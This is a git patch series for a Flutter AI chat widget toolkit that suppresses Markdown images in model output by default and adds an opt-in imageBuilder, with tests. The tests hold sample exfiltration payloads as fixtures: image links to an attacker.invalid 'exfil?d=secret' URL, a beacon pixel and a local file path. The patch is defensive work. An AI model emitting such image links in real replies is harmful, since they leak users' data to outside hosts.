From 3b0ccc02458963a93e058d1b28838dff12c1f587 Mon Sep 17 00:00:00 2001 From: Yegor Date: Tue, 17 Nov 2026 21:39:19 +0000 Subject: [PATCH 1/2] Suppress Markdown images by default and add LlmMessageStyle.imageBuilder `LlmMessageView` previously rendered LLM output through `MarkdownBody` without specifying an `imageBuilder`, causing `flutter_markdown_plus` to use `kDefaultImageBuilder` and automatically fetch remote image URLs or open local file paths from untrusted model output. - Suppress Markdown images in `LlmMessageView` by default (`SizedBox.shrink()`). - Add an optional `imageBuilder` property to `LlmMessageStyle` (defaults to `null`) so applications can explicitly opt in to custom Markdown image rendering. - Make `LlmMessageStyle` `final`. - Suppress Markdown images in the example `RecipeResponseView` and forward `imageBuilder` in `_darkLlmMessageStyle()`. - Add unit and widget tests in `test/llm_message_image_test.dart` and bump version to `1.1.0`. --- CHANGELOG.md | 10 + example/lib/dark_style.dart | 1 + .../recipes/views/recipe_response_view.dart | 14 +- lib/src/styles/llm_message_style.dart | 14 +- .../chat_message_view/llm_message_view.dart | 6 + pubspec.yaml | 2 +- test/llm_message_image_test.dart | 194 ++++++++++++++++++ 7 files changed, 237 insertions(+), 4 deletions(-) create mode 100644 test/llm_message_image_test.dart diff --git a/CHANGELOG.md b/CHANGELOG.md index 13d92bd8..1562e9bd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,13 @@ +## 1.1.0 + +- Suppressed Markdown images in `LlmMessageView` by default (`SizedBox.shrink()`) + to prevent automatic outbound network requests and local file reads from + untrusted LLM output. +- Added an optional `imageBuilder` property to `LlmMessageStyle` (defaults to + `null`) for applications that explicitly opt in to custom Markdown image + rendering. +- Made `LlmMessageStyle` `final`. + ## 1.0.0 - Merged [Enable customisable styling for WaveformRecorder via diff --git a/example/lib/dark_style.dart b/example/lib/dark_style.dart index 770a79e4..7b599e4f 100644 --- a/example/lib/dark_style.dart +++ b/example/lib/dark_style.dart @@ -60,6 +60,7 @@ LlmMessageStyle _darkLlmMessageStyle() { shape: BoxShape.circle, ), markdownStyle: _invertMarkdownStyle(style.markdownStyle), + imageBuilder: style.imageBuilder, decoration: _invertDecoration(style.decoration), ); } diff --git a/example/lib/recipes/views/recipe_response_view.dart b/example/lib/recipes/views/recipe_response_view.dart index 2ef45d34..453fb37d 100644 --- a/example/lib/recipes/views/recipe_response_view.dart +++ b/example/lib/recipes/views/recipe_response_view.dart @@ -28,7 +28,12 @@ class RecipeResponseView extends StatelessWidget { // extract the text before the recipe final text = recipeWithText['text'] as String?; if (text != null && text.isNotEmpty) { - children.add(MarkdownBody(data: text)); + children.add( + MarkdownBody( + data: text, + imageBuilder: (_, _, _) => const SizedBox.shrink(), + ), + ); } // extract the recipe @@ -69,7 +74,12 @@ class RecipeResponseView extends StatelessWidget { // add the remaining text if (finalText != null && finalText.isNotEmpty) { - children.add(MarkdownBody(data: finalText)); + children.add( + MarkdownBody( + data: finalText, + imageBuilder: (_, _, _) => const SizedBox.shrink(), + ), + ); } return Column( diff --git a/lib/src/styles/llm_message_style.dart b/lib/src/styles/llm_message_style.dart index ac30bec8..19da60cf 100644 --- a/lib/src/styles/llm_message_style.dart +++ b/lib/src/styles/llm_message_style.dart @@ -11,7 +11,7 @@ import 'toolkit_text_styles.dart'; /// Style for LLM messages. @immutable -class LlmMessageStyle { +final class LlmMessageStyle { /// Creates an LlmMessageStyle. const LlmMessageStyle({ this.icon, @@ -19,6 +19,7 @@ class LlmMessageStyle { this.iconDecoration, this.decoration, this.markdownStyle, + this.imageBuilder, this.maxWidth = 600.0, this.minWidth = 300.0, this.flex = 6, @@ -51,6 +52,7 @@ class LlmMessageStyle { iconColor: style?.iconColor ?? defaultStyle.iconColor, iconDecoration: style?.iconDecoration ?? defaultStyle.iconDecoration, markdownStyle: style?.markdownStyle ?? defaultStyle.markdownStyle, + imageBuilder: style?.imageBuilder ?? defaultStyle.imageBuilder, decoration: style?.decoration ?? defaultStyle.decoration, maxWidth: style?.maxWidth ?? defaultStyle.maxWidth, minWidth: style?.minWidth ?? defaultStyle.minWidth, @@ -110,6 +112,7 @@ class LlmMessageStyle { Color? iconColor, BoxDecoration? iconDecoration, MarkdownStyleSheet? markdownStyle, + MarkdownImageBuilder? imageBuilder, double? maxWidth, double? minWidth, int? flex, @@ -122,6 +125,7 @@ class LlmMessageStyle { iconColor: iconColor ?? this.iconColor, iconDecoration: iconDecoration ?? this.iconDecoration, markdownStyle: markdownStyle ?? this.markdownStyle, + imageBuilder: imageBuilder ?? this.imageBuilder, maxWidth: maxWidth ?? this.maxWidth, minWidth: minWidth ?? this.minWidth, flex: flex ?? this.flex, @@ -145,6 +149,14 @@ class LlmMessageStyle { /// The markdown style sheet for LLM messages. final MarkdownStyleSheet? markdownStyle; + /// Builder for rendering Markdown images in LLM messages. + /// + /// Defaults to `null`, which suppresses Markdown images using + /// [SizedBox.shrink] so untrusted model output cannot trigger automatic + /// network fetches or local file reads. When providing a custom builder, + /// validate URI schemes and allowlist trusted hosts before loading images. + final MarkdownImageBuilder? imageBuilder; + /// The maximum width of the message bubble. final double maxWidth; diff --git a/lib/src/views/chat_message_view/llm_message_view.dart b/lib/src/views/chat_message_view/llm_message_view.dart index abbc57e1..9aedca05 100644 --- a/lib/src/views/chat_message_view/llm_message_view.dart +++ b/lib/src/views/chat_message_view/llm_message_view.dart @@ -97,6 +97,9 @@ class LlmMessageView extends StatelessWidget { data: text, selectable: false, styleSheet: llmStyle.markdownStyle, + imageBuilder: + llmStyle.imageBuilder ?? + _emptyImageBuilder, onTapLink: (_, href, _) { if (href != null) { launchUrl(Uri.parse(href)); @@ -120,3 +123,6 @@ class LlmMessageView extends StatelessWidget { ], ); } + +Widget _emptyImageBuilder(Uri _, String? _, String? _) => + const SizedBox.shrink(); diff --git a/pubspec.yaml b/pubspec.yaml index bd0b22c2..62f0b7a2 100644 --- a/pubspec.yaml +++ b/pubspec.yaml @@ -2,7 +2,7 @@ name: flutter_ai_toolkit description: >- AI chat widget for Flutter apps targeting mobile, desktop, and web supporting text, image, and voice input. -version: 1.0.0 +version: 1.1.0 repository: https://github.com/flutter/ai topics: diff --git a/test/llm_message_image_test.dart b/test/llm_message_image_test.dart new file mode 100644 index 00000000..484f240d --- /dev/null +++ b/test/llm_message_image_test.dart @@ -0,0 +1,194 @@ +// Copyright 2026 The Flutter Authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +import 'package:flutter/material.dart'; +import 'package:flutter_ai_toolkit/flutter_ai_toolkit.dart'; +import 'package:flutter_test/flutter_test.dart'; + +void main() { + group('LlmMessageStyle.imageBuilder', () { + test( + 'defaults to null and preserves custom builder across resolve/copyWith', + () { + Widget customBuilder(Uri uri, String? title, String? alt) => + Text(alt ?? ''); + + expect(LlmMessageStyle.defaultStyle().imageBuilder, isNull); + expect( + LlmMessageStyle.resolve(const LlmMessageStyle()).imageBuilder, + isNull, + ); + + final customStyle = LlmMessageStyle(imageBuilder: customBuilder); + expect( + LlmMessageStyle.resolve(customStyle).imageBuilder, + same(customBuilder), + ); + + final copied = LlmMessageStyle.defaultStyle().copyWith( + imageBuilder: customBuilder, + ); + expect(copied.imageBuilder, same(customBuilder)); + expect( + copied.copyWith(maxWidth: 480).imageBuilder, + same(customBuilder), + ); + }, + ); + }); + + group('LlmMessageView markdown image handling', () { + testWidgets( + 'drops http and https markdown images by default while rendering text and links', + (tester) async { + final provider = EchoProvider( + history: [ + ChatMessage( + origin: MessageOrigin.llm, + text: + 'Hello **world**! Visit [Flutter](https://flutter.dev). ' + '![chart](http://attacker.invalid/exfil?d=secret) ' + '![pixel](https://attacker.invalid/beacon.png)', + attachments: const [], + ), + ], + ); + + await tester.pumpWidget( + MaterialApp( + home: Scaffold( + body: LlmChatView( + provider: provider, + enableAttachments: false, + enableVoiceNotes: false, + ), + ), + ), + ); + await tester.pump(); + await tester.pump(const Duration(milliseconds: 50)); + + expect( + find.textContaining('Hello', findRichText: true), + findsOneWidget, + ); + expect( + find.textContaining('world', findRichText: true), + findsOneWidget, + ); + expect( + find.textContaining('Flutter', findRichText: true), + findsOneWidget, + ); + expect(find.byType(Image), findsNothing); + }, + ); + + testWidgets('drops file:// and relative markdown images by default', ( + tester, + ) async { + final provider = EchoProvider( + history: [ + ChatMessage( + origin: MessageOrigin.llm, + text: + 'Summary ready. ' + '![local](file:///tmp/secret.png) ' + '![relative](secret.png)', + attachments: const [], + ), + ], + ); + + await tester.pumpWidget( + MaterialApp( + home: Scaffold( + body: LlmChatView( + provider: provider, + enableAttachments: false, + enableVoiceNotes: false, + ), + ), + ), + ); + await tester.pump(); + await tester.pump(const Duration(milliseconds: 50)); + + expect( + find.textContaining('Summary ready.', findRichText: true), + findsOneWidget, + ); + expect(find.byType(Image), findsNothing); + }); + + testWidgets('drops markdown images in welcomeMessage by default', ( + tester, + ) async { + await tester.pumpWidget( + MaterialApp( + home: Scaffold( + body: LlmChatView( + provider: EchoProvider(), + welcomeMessage: + 'Welcome! ![beacon](https://attacker.invalid/welcome)', + enableAttachments: false, + enableVoiceNotes: false, + ), + ), + ), + ); + await tester.pump(); + await tester.pump(const Duration(milliseconds: 50)); + + expect( + find.textContaining('Welcome!', findRichText: true), + findsOneWidget, + ); + expect(find.byType(Image), findsNothing); + }); + + testWidgets('uses custom LlmMessageStyle.imageBuilder when provided', ( + tester, + ) async { + final provider = EchoProvider( + history: [ + ChatMessage( + origin: MessageOrigin.llm, + text: + 'Here is a chart: ' + '![Sales Chart](https://cdn.example.com/chart.png "Q4")', + attachments: const [], + ), + ], + ); + + await tester.pumpWidget( + MaterialApp( + home: Scaffold( + body: LlmChatView( + provider: provider, + enableAttachments: false, + enableVoiceNotes: false, + style: LlmChatViewStyle( + llmMessageStyle: LlmMessageStyle( + imageBuilder: + (uri, title, alt) => + Text('CUSTOM_IMG:${uri.host}:$alt:$title'), + ), + ), + ), + ), + ), + ); + await tester.pump(); + await tester.pump(const Duration(milliseconds: 50)); + + expect( + find.text('CUSTOM_IMG:cdn.example.com:Sales Chart:Q4'), + findsOneWidget, + ); + expect(find.byType(Image), findsNothing); + }); + }); +} From 5f55053d5028c77af3f40da305433515b4a40db7 Mon Sep 17 00:00:00 2001 From: Yegor Jbanov Date: Tue, 17 Nov 2026 14:15:34 -0800 Subject: [PATCH 2/2] Mark Markdown image suppression as a breaking change in CHANGELOG --- CHANGELOG.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1562e9bd..974cdf7a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,8 +1,8 @@ ## 1.1.0 -- Suppressed Markdown images in `LlmMessageView` by default (`SizedBox.shrink()`) - to prevent automatic outbound network requests and local file reads from - untrusted LLM output. +- **BREAKING CHANGE**: Suppressed Markdown images in `LlmMessageView` by default + (`SizedBox.shrink()`) to prevent automatic outbound network requests and local + file reads from untrusted LLM output. - Added an optional `imageBuilder` property to `LlmMessageStyle` (defaults to `null`) for applications that explicitly opt in to custom Markdown image rendering.